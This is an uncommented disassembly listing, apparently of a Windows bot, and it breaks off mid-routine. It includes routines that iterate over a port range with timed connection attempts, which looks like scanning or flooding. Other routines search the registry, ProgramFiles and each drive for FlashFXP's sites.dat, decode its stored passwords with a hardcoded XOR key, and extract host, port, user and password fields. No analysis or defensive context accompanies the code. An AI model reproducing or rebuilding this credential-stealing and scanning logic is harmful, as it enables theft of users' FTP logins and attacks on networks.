; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D050
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D018
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41CFE8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D080
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D0F0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D0DC
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D0A0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D138
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D308
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D300 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
